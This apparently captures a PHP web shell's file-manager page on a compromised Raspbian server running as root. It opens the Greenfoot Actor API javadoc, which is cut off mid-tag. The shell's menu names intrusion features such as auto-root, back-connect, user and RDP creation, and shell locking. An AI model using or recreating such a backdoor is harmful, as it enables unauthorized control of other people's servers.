Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
Greenfoot /
API /
greenfoot /
[ HOME SHELL ]
Name
Size
Permission
Action
Actor.html
37.84
KB
-rw-r--r--
Color.html
26.12
KB
-rw-r--r--
Font.html
18.68
KB
-rw-r--r--
Greenfoot.html
27.29
KB
-rw-r--r--
GreenfootImage.html
42.64
KB
-rw-r--r--
GreenfootSound.html
15.6
KB
-rw-r--r--
MouseInfo.html
12.32
KB
-rw-r--r--
UserInfo.html
28.61
KB
-rw-r--r--
World.html
30.97
KB
-rw-r--r--
package-summary.html
6.84
KB
-rw-r--r--
package-tree.html
5.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Actor.html
<!DOCTYPE HTML> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (11.0.2) on Wed Jun 12 11:21:42 BST 2019 --> <title>Actor (Greenfoot API)</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="dc.created" content="2019-06-12"> <link rel="stylesheet" type="text/css" href="../stylesheet.css" title="Style"> <link rel="stylesheet" type="text/css" href="../jquery/jquery-ui.css" title="Style"> <script type="text/javascript" src="../script.js"></script> <script type="text/javascript" src="../jquery/jszip/dist/jszip.min.js"></script> <script type="text/javascript" src="../jquery/jszip-utils/dist/jszip-utils.min.js"></script> <!--[if IE]> <script type="text/javascript" src="../jquery/jszip-utils/dist/jszip-utils-ie.min.js"></script> <![endif]--> <script type="text/javascript" src="../jquery/jquery-3.3.1.js"></script> <script type="text/javascript" src="../jquery/jquery-migrate-3.0.1.js"></script> <script type="text/javascript" src="../jquery/jquery-ui.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Actor (Greenfoot API)"; } } catch(err) { } //--> var data = {"i0":10,"i1":10,"i2":10,"i3":10,"i4":10,"i5":10,"i6":10,"i7":10,"i8":10,"i9":10,"i10":10,"i11":10,"i12":10,"i13":10,"i14":10,"i15":10,"i16":10,"i17":10,"i18":10,"i19":10,"i20":10,"i21":10,"i22":10,"i23":10,"i24":10}; var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],8:["t4","Concrete Methods"]}; var altColor = "altColor"; var rowColor = "rowColor"; var tableTab = "tableTab"; var activeTableTab = "activeTableTab"; var pathtoroot = "../"; var useModuleDirectories = true; loadScripts(document, 'script');</script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <header role="banner"> <nav role="navigation"> <div class="fixedNav"> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a id="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a id="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../deprecated-list.html">Deprecated</a></li> <li><a href="../index-all.html">Index</a></li> <li><a href="../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../allclasses.html">All Classes</a></li> </ul> <ul class="navListSearch"> <li><label for="search">SEARCH:</label> <input type="text" id="search" value="search" disabled="disabled"> <input type="reset" id="reset" value="reset" disabled="disabled"> </li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <div> <ul class="subNavList"> <li>Summary: </li> <li>Nested | </li> <li>Field | </li> <li><a href="#constructor.summary">Constr</a> | </li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail: </li> <li>Field | </li> <li><a href="#constructor.detail">Constr</a> | </li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a id="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> </div> <div class="navPadding"> </div> <script type="text/javascript"><!-- $('.navPadding').css('padding-top', $('.fixedNav').css("height")); //--> </script> </nav> </header> <!-- ======== START OF CLASS DATA ======== --> <main role="main"> <div class="header"> <div class="subTitle"><span class="packageLabelInType">Package</span> <a href="package-summary.html">greenfoot</a></div> <h2 title="Class Actor" class="title">Class Actor</h2> </div> <div class="contentContainer"> <ul class="inheritance"> <li>java.lang.Object</li> <li> <ul class="inheritance"> <li>greenfoot.Actor</li> </ul> </li> </ul> <div class="description"> <ul class="blockList"> <li class="blockList"> <hr> <pre>public abstract class <span class="typeNameLabel">Actor</span> extends java.lang.Object</pre> <div class="block">An Actor is an object that exists in the Greenfoot world. Every Actor has a location in the world, and an appearance (that is: an icon). <p>An Actor is not normally instantiated, but instead used as a superclass to more specific objects in the world. Every object that is intended to appear in the world must extend Actor. Subclasses can then define their own appearance and behaviour. <p>One of the most important aspects of this class is the 'act' method. This method is called when the 'Act' or 'Run' buttons are activated in the Greenfoot interface. The method here is empty, and subclasses normally provide their own implementations.</div> <dl> <dt><span class="simpleTagLabel">Version:</span></dt> <dd>2.5</dd> <dt><span class="simpleTagLabel">Author:</span></dt> <dd>Poul Henriksen</dd> </dl> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="constructor.summary"> <!-- --> </a> <h3>Constructor Summary</h3> <table class="memberSummary"> <caption><span>Constructors</span><span class="tabEnd"> </span></caption> <tr> <th class="colFirst" scope="col">Constructor</th> <th class="colLast" scope="col">Description</th> </tr> <tr class="altColor"> <th class="colConstructorName" scope="row"><code><span class="memberNameLink"><a href="#%3Cinit%3E()">Actor</a></span>()</code></th> <td class="colLast"> <div class="block">Construct an Actor.</div> </td> </tr> </table> </li> </ul> </section> <!-- ========== METHOD SUMMARY =========== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="method.summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="memberSummary"> <caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd"> </span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd"> </span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd"> </span></span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colSecond" scope="col">Method</th> <th class="colLast" scope="col">Description</th> </tr> <tr id="i0" class="altColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#act()">act</a></span>()</code></th> <td class="colLast"> <div class="block">The act method is called by the greenfoot framework to give actors a chance to perform some action.</div> </td> </tr> <tr id="i1" class="rowColor"> <td class="colFirst"><code>protected void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#addedToWorld(greenfoot.World)">addedToWorld</a></span>​(<a href="World.html" title="class in greenfoot">World</a> world)</code></th> <td class="colLast"> <div class="block">This method is called by the Greenfoot system when this actor has been inserted into the world.</div> </td> </tr> <tr id="i2" class="altColor"> <td class="colFirst"><code><a href="GreenfootImage.html" title="class in greenfoot">GreenfootImage</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getImage()">getImage</a></span>()</code></th> <td class="colLast"> <div class="block">Returns the image used to represent this actor.</div> </td> </tr> <tr id="i3" class="rowColor"> <td class="colFirst"><code>protected <A> java.util.List<A></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getIntersectingObjects(java.lang.Class)">getIntersectingObjects</a></span>​(java.lang.Class<A> cls)</code></th> <td class="colLast"> <div class="block">Return all the objects that intersect this object.</div> </td> </tr> <tr id="i4" class="altColor"> <td class="colFirst"><code>protected <A> java.util.List<A></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getNeighbours(int,boolean,java.lang.Class)">getNeighbours</a></span>​(int distance, boolean diagonal, java.lang.Class<A> cls)</code></th> <td class="colLast"> <div class="block">Return the neighbours to this object within a given distance.</div> </td> </tr> <tr id="i5" class="rowColor"> <td class="colFirst"><code>protected <A> java.util.List<A></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getObjectsAtOffset(int,int,java.lang.Class)">getObjectsAtOffset</a></span>​(int dx, int dy, java.lang.Class<A> cls)</code></th> <td class="colLast"> <div class="block">Return all objects that intersect the center of the given location (relative to this object's location).</div> </td> </tr> <tr id="i6" class="altColor"> <td class="colFirst"><code>protected <A> java.util.List<A></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getObjectsInRange(int,java.lang.Class)">getObjectsInRange</a></span>​(int radius, java.lang.Class<A> cls)</code></th> <td class="colLast"> <div class="block">Return all objects within range 'radius' around this object.</div> </td> </tr> <tr id="i7" class="rowColor"> <td class="colFirst"><code>protected <a href="Actor.html" title="class in greenfoot">Actor</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getOneIntersectingObject(java.lang.Class)">getOneIntersectingObject</a></span>​(java.lang.Class<?> cls)</code></th> <td class="colLast"> <div class="block">Return an object that intersects this object.</div> </td> </tr> <tr id="i8" class="altColor"> <td class="colFirst"><code>protected <a href="Actor.html" title="class in greenfoot">Actor</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getOneObjectAtOffset(int,int,java.lang.Class)">getOneObjectAtOffset</a></span>​(int dx, int dy, java.lang.Class<?> cls)</code></th> <td class="colLast"> <div class="block">Return one object that is located at the specified cell (relative to this objects location).</div> </td> </tr> <tr id="i9" class="rowColor"> <td class="colFirst"><code>int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getRotation()">getRotation</a></span>()</code></th> <td class="colLast"> <div class="block">Return the current rotation of this actor.</div> </td> </tr> <tr id="i10" class="altColor"> <td class="colFirst"><code><a href="World.html" title="class in greenfoot">World</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getWorld()">getWorld</a></span>()</code></th> <td class="colLast"> <div class="block">Return the world that this actor lives in.</div> </td> </tr> <tr id="i11" class="rowColor"> <td class="colFirst"><code><W> W</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getWorldOfType(java.lang.Class)">getWorldOfType</a></span>​(java.lang.Class<W> worldClass)</code></th> <td class="colLast"> <div class="block">Return the world that this actor lives in, provided that it is an instance of the given "worldClass" class (i.e.</div> </td> </tr> <tr id="i12" class="altColor"> <td class="colFirst"><code>int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getX()">getX</a></span>()</code></th> <td class="colLast"> <div class="block">Return the x-coordinate of the actor's current location.</div> </td> </tr> <tr id="i13" class="rowColor"> <td class="colFirst"><code>int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getY()">getY</a></span>()</code></th> <td class="colLast"> <div class="block">Return the y-coordinate of the object's current location.</div> </td> </tr> <tr id="i14" class="altColor"> <td class="colFirst"><code>protected boolean</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#intersects(greenfoot.Actor)">intersects</a></span>​(<a href="Actor.html" title="class in greenfoot">Actor</a> other)</code></th> <td class="colLast"> <div class="block">Check whether this object intersects with another given object.</div> </td> </tr> <tr id="i15" class="rowColor"> <td class="colFirst"><code>boolean</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#isAtEdge()">isAtEdge</a></span>()</code></th> <td class="colLast"> <div class="block">Detect whether the actor has reached the edge of the world.</div> </td> </tr> <tr id="i16" class="altColor"> <td class="colFirst"><code>protected boolean</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#isTouching(java.lang.Class)">isTouching</a></span>​(java.lang.Class<?> cls)</code></th> <td class="colLast"> <div class="block">Checks whether this actor is touching any other objects of the given class.</div> </td> </tr> <tr id="i17" class="rowColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#move(int)">move</a></span>​(int distance)</code></th> <td class="colLast"> <div class="block">Move this actor the specified distance in the direction it is currently facing.</div> </td> </tr> <tr id="i18" class="altColor"> <td class="colFirst"><code>protected void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#removeTouching(java.lang.Class)">removeTouching</a></span>​(java.lang.Class<?> cls)</code></th> <td class="colLast"> <div class="block">Removes one object of the given class that this actor is currently touching (if any exist).</div> </td> </tr> <tr id="i19" class="rowColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#setImage(greenfoot.GreenfootImage)">setImage</a></span>​(<a href="GreenfootImage.html" title="class in greenfoot">GreenfootImage</a> image)</code></th> <td class="colLast"> <div class="block">Set the image for this actor to the specified image.</div> </td> </tr> <tr id="i20" class="altColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#setImage(java.lang.String)">setImage</a></span>​(java.lang.String filename)</code></th> <td class="colLast"> <div class="block">Set an image for this actor from an image file.</div> </td> </tr> <tr id="i21" class="rowColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#setLocation(int,int)">setLocation</a></span>​(int x, int y)</code></th> <td class="colLast"> <div class="block">Assign a new location for this actor.</div> </td> </tr> <tr id="i22" class="altColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#setRotation(int)">setRotation</a></span>​(int rotation)</code></th> <td class="colLast"> <div class="block">Set the rotation of this actor.</div> </td> </tr> <tr id="i23" class="rowColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#turn(int)">turn</a></span>​(int amount)</code></th> <td class="colLast"> <div class="block">Turn this actor by the specified amount (in degrees).</div> </td> </tr> <tr id="i24" class="altColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#turnTowards(int,int)">turnTowards</a></span>​(int x, int y)</code></th> <td class="colLast"> <div class="block">Turn this actor to face towards a certain location.</div> </td> </tr> </table> <ul class="blockList"> <li class="blockList"><a id="methods.inherited.from.class.java.lang.Object"> <!-- --> </a> <h3>Methods inherited from class java.lang.Object</h3> <code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li> </ul> </li> </ul> </section> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ========= CONSTRUCTOR DETAIL ======== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="constructor.detail"> <!-- --> </a> <h3>Constructor Detail</h3> <a id="<init>()"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>Actor</h4> <pre>public Actor()</pre> <div class="block">Construct an Actor. The object will have a default image.</div> </li> </ul> </li> </ul> </section> <!-- ============ METHOD DETAIL ========== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="method.detail"> <!-- --> </a> <h3>Method Detail</h3> <a id="act()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>act</h4> <pre class="methodSignature">public void act()</pre> <div class="block">The act method is called by the greenfoot framework to give actors a chance to perform some action. At each action step in the environment, each object's act method is invoked, in unspecified order. <p>The default implementation does nothing. This method should be overridden in subclasses to implement an actor's action.</div> </li> </ul> <a id="getX()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getX</h4> <pre class="methodSignature">public int getX() throws java.lang.IllegalStateException</pre> <div class="block">Return the x-coordinate of the actor's current location. The value returned is the horizontal index of the actor's cell in the world.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>The x-coordinate of the object's current location.</dd> <dt><span class="throwsLabel">Throws:</span></dt> <dd><code>java.lang.IllegalStateException</code> - If the actor has not been added into a world.</dd> </dl> </li> </ul> <a id="getY()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getY</h4> <pre class="methodSignature">public int getY()</pre> <div class="block">Return the y-coordinate of the object's current location. The value returned is the vertical index of the actor's cell in the world.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>The y-coordinate of the actor's current location</dd> <dt><span class="throwsLabel">Throws:</span></dt> <dd><code>java.lang.IllegalStateException</code> - If the actor has not been added into a world.</dd> </dl> </li> </ul> <a id="getRotation()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getRotation</h4> <pre class="methodSignature">public int getRotation()</pre> <div class="block">Return the current rotation of this actor. Rotation is expressed as a degree value, range (0..359). Zero degrees is towards the east (right-hand side of the world), and the angle increases clockwise.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>The rotation in degrees.</dd> <dt><span class="seeLabel">See Also:</span></dt> <dd><a href="#setRotation(int)"><code>setRotation(int)</code></a></dd> </dl> </li> </ul> <a id="setRotation(int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setRotation</h4> <pre class="methodSignature">public void setRotation​(int rotation)</pre> <div class="block">Set the rotation of this actor. Rotation is expressed as a degree value, range (0..359). Zero degrees is to the east (right-hand side of the world), and the angle increases clockwise.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>rotation</code> - The rotation in degrees.</dd> <dt><span class="seeLabel">See Also:</span></dt> <dd><a href="#turn(int)"><code>turn(int)</code></a></dd> </dl> </li> </ul> <a id="turnTowards(int,int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>turnTowards</h4> <pre class="methodSignature">public void turnTowards​(int x, int y)</pre> <div class="block">Turn this actor to face towards a certain location.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>x</code> - The x-coordinate of the cell to turn towards</dd> <dd><code>y</code> - The y-coordinate of the cell to turn towards</dd> </dl> </li> </ul> <a id="isAtEdge()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>isAtEdge</h4> <pre class="methodSignature">public boolean isAtEdge()</pre> <div class="block">Detect whether the actor has reached the edge of the world. The actor is at the edge of the world if their position is at, or beyond, the cells at the very edge of the world. For example, if your world is 640 by 480 pixels, an actor is at the edge if its X position is <= 0 or >= 639, or its Y position is <= 0 or >= 479.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>True if the actor is at or beyond the edge cell of the world, and false otherwise.</dd> </dl> </li> </ul> <a id="setLocation(int,int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setLocation</h4> <pre class="methodSignature">public void setLocation​(int x, int y)</pre> <div class="block">Assign a new location for this actor. This moves the actor to the specified location. The location is specified as the coordinates of a cell in the world. <p>If this method is overridden it is important to call this method as "super.setLocation(x,y)" from the overriding method, to avoid infinite recursion.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>x</code> - Location index on the x-axis</dd> <dd><code>y</code> - Location index on the y-axis</dd> <dt><span class="seeLabel">See Also:</span></dt> <dd><a href="#move(int)"><code>move(int)</code></a></dd> </dl> </li> </ul> <a id="move(int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>move</h4> <pre class="methodSignature">public void move​(int distance)</pre> <div class="block">Move this actor the specified distance in the direction it is currently facing. <p>The direction can be set using the <a href="#setRotation(int)"><code>setRotation(int)</code></a> method.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>distance</code> - The distance to move (in cell-size units); a negative value will move backwards</dd> <dt><span class="seeLabel">See Also:</span></dt> <dd><a href="#setLocation(int,int)"><code>setLocation(int, int)</code></a></dd> </dl> </li> </ul> <a id="turn(int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>turn</h4> <pre class="methodSignature">public void turn​(int amount)</pre> <div class="block">Turn this actor by the specified amount (in degrees).</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>amount</code> - the number of degrees to turn; positive values turn clockwise</dd> <dt><span class="seeLabel">See Also:</span></dt> <dd><a href="#setRotation(int)"><code>setRotation(int)</code></a></dd> </dl> </li> </ul> <a id="getWorld()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getWorld</h4> <pre class="methodSignature">public <a href="World.html" title="class in greenfoot">World</a> getWorld()</pre> <div class="block">Return the world that this actor lives in.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>The world, or null if this actor is not in a world.</dd> </dl> </li> </ul> <a id="getWorldOfType(java.lang.Class)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getWorldOfType</h4> <pre class="methodSignature">public <W> W getWorldOfType​(java.lang.Class<W> worldClass)</pre> <div class="block">Return the world that this actor lives in, provided that it is an instance of the given "worldClass" class (i.e. that it is an instance of worldClass or one of its subclasses).</div> <dl> <dt><span class="paramLabel">Type Parameters:</span></dt> <dd><code>W</code> - The type of the world.</dd> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>worldClass</code> - The class of the world type.</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>The world this actor is in, or null if either this actor is not in a world</dd> <dt><span class="throwsLabel">Throws:</span></dt> <dd><code>java.lang.ClassCastException</code> - If the actor is in a world, but not one that is an instance of worldClass or one of its subclasses</dd> </dl> </li> </ul> <a id="addedToWorld(greenfoot.World)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>addedToWorld</h4> <pre class="methodSignature">protected void addedToWorld​(<a href="World.html" title="class in greenfoot">World</a> world)</pre> <div class="block">This method is called by the Greenfoot system when this actor has been inserted into the world. This method can be overridden to implement custom behaviour when the actor is inserted into the world. <p> The default implementation does nothing.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>world</code> - The world the object was added to.</dd> </dl> </li> </ul> <a id="getImage()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getImage</h4> <pre class="methodSignature">public <a href="GreenfootImage.html" title="class in greenfoot">GreenfootImage</a> getImage()</pre> <div class="block">Returns the image used to represent this actor. This image can be modified to change the actor's appearance.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>The object's image.</dd> </dl> </li> </ul> <a id="setImage(java.lang.String)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setImage</h4> <pre class="methodSignature">public void setImage​(java.lang.String filename) throws java.lang.IllegalArgumentException</pre> <div class="block">Set an image for this actor from an image file. The file may be in jpeg, gif or png format. The file should be located in the project directory.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>filename</code> - The name of the image file.</dd> <dt><span class="throwsLabel">Throws:</span></dt> <dd><code>java.lang.IllegalArgumentException</code> - If the image can not be loaded.</dd> </dl> </li> </ul> <a id="setImage(greenfoot.GreenfootImage)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setImage</h4> <pre class="methodSignature">public void setImage​(<a href="GreenfootImage.html" title="class in greenfoot">GreenfootImage</a> image)</pre> <div class="block">Set the image for this actor to the specified image.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>image</code> - The image.</dd> <dt><span class="seeLabel">See Also:</span></dt> <dd><a href="#setImage(java.lang.String)"><code>setImage(String)</code></a></dd> </dl> </li> </ul> <a id="intersects(greenfoot.Actor)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>intersects</h4> <pre class="methodSignature">protected boolean intersects​(<a href="Actor.html" title="class in greenfoot">Actor</a> other)</pre> <div class="block">Check whether this object intersects with another given object.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>other</code> - The second object to detect the existing of intersection with it.</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>True if the object's intersect, false otherwise.</dd> </dl> </li> </ul> <a id="getNeighbours(int,boolean,java.lang.Class)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getNeighbours</h4> <pre class="methodSignature">protected <A> java.util.List<A> getNeighbours​(int distance, boolean diagonal, java.lang.Class<A> cls)</pre> <div class="block">Return the neighbours to this object within a given distance. This method considers only logical location, ignoring extent of the image. Thus, it is most useful in scenarios where objects are contained in a single cell. <p> All cells that can be reached in the number of steps given in 'distance' from this object are considered. Steps may be only in the four main directions, or may include diagonal steps, depending on the 'diagonal' parameter. Thus, a distance/diagonal specification of (1,false) will inspect four cells, (1,true) will inspect eight cells. <p></div> <dl> <dt><span class="paramLabel">Type Parameters:</span></dt> <dd><code>A</code> - The class of the object to look for.</dd> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>distance</code> - Distance (in cells) in which to look for other objects.</dd> <dd><code>diagonal</code> - If true, include diagonal steps.</dd> <dd><code>cls</code> - Class of objects to look for (passing 'null' will find all objects).</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>A list of all neighbours found.</dd> </dl> </li> </ul> <a id="getObjectsAtOffset(int,int,java.lang.Class)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getObjectsAtOffset</h4> <pre class="methodSignature">protected <A> java.util.List<A> getObjectsAtOffset​(int dx, int dy, java.lang.Class<A> cls)</pre> <div class="block">Return all objects that intersect the center of the given location (relative to this object's location). <br></div> <dl> <dt><span class="paramLabel">Type Parameters:</span></dt> <dd><code>A</code> - The class of the object to look for.</dd> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>dx</code> - X-coordinate relative to this objects location.</dd> <dd><code>dy</code> - y-coordinate relative to this objects location.</dd> <dd><code>cls</code> - Class of objects to look for (passing 'null' will find all objects).</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>List of objects at the given offset. The list will include this object, if the offset is zero.</dd> </dl> </li> </ul> <a id="getOneObjectAtOffset(int,int,java.lang.Class)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getOneObjectAtOffset</h4> <pre class="methodSignature">protected <a href="Actor.html" title="class in greenfoot">Actor</a> getOneObjectAtOffset​(int dx, int dy, java.lang.Class<?> cls)</pre> <div class="block">Return one object that is located at the specified cell (relative to this objects location). Objects found can be restricted to a specific class (and its subclasses) by supplying the 'cls' parameter. If more than one object of the specified class resides at that location, one of them will be chosen and returned.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>dx</code> - X-coordinate relative to this objects location.</dd> <dd><code>dy</code> - y-coordinate relative to this objects location.</dd> <dd><code>cls</code> - Class of objects to look for (passing 'null' will find all objects).</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>An object at the given location, or null if none found.</dd> </dl> </li> </ul> <a id="getObjectsInRange(int,java.lang.Class)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getObjectsInRange</h4> <pre class="methodSignature">protected <A> java.util.List<A> getObjectsInRange​(int radius, java.lang.Class<A> cls)</pre> <div class="block">Return all objects within range 'radius' around this object. An object is within range if the distance between its centre and this object's centre is less than or equal to 'radius'.</div> <dl> <dt><span class="paramLabel">Type Parameters:</span></dt> <dd><code>A</code> - The class of the object to look for.</dd> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>radius</code> - Radius of the circle (in cells)</dd> <dd><code>cls</code> - Class of objects to look for (passing 'null' will find all objects).</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>List of objects of the given class type within the given radius.</dd> </dl> </li> </ul> <a id="getIntersectingObjects(java.lang.Class)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getIntersectingObjects</h4> <pre class="methodSignature">protected <A> java.util.List<A> getIntersectingObjects​(java.lang.Class<A> cls)</pre> <div class="block">Return all the objects that intersect this object. This takes the graphical extent of objects into consideration. <br></div> <dl> <dt><span class="paramLabel">Type Parameters:</span></dt> <dd><code>A</code> - The class of the object to look for.</dd> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>cls</code> - Class of objects to look for (passing 'null' will find all objects).</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>List of objects of the given class type that intersect with the current object.</dd> </dl> </li> </ul> <a id="getOneIntersectingObject(java.lang.Class)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getOneIntersectingObject</h4> <pre class="methodSignature">protected <a href="Actor.html" title="class in greenfoot">Actor</a> getOneIntersectingObject​(java.lang.Class<?> cls)</pre> <div class="block">Return an object that intersects this object. This takes the graphical extent of objects into consideration. <br></div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>cls</code> - Class of objects to look for (passing 'null' will find all objects).</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>An object of the given class type that intersects with the current object.</dd> </dl> </li> </ul> <a id="isTouching(java.lang.Class)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>isTouching</h4> <pre class="methodSignature">protected boolean isTouching​(java.lang.Class<?> cls)</pre> <div class="block">Checks whether this actor is touching any other objects of the given class.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>cls</code> - Class of objects to look for (passing 'null' will check for all actors).</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>True if there is an object of the given class type that intersects with the current object, false otherwise.</dd> </dl> </li> </ul> <a id="removeTouching(java.lang.Class)"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>removeTouching</h4> <pre class="methodSignature">protected void removeTouching​(java.lang.Class<?> cls)</pre> <div class="block">Removes one object of the given class that this actor is currently touching (if any exist).</div> <dl> <dt><span 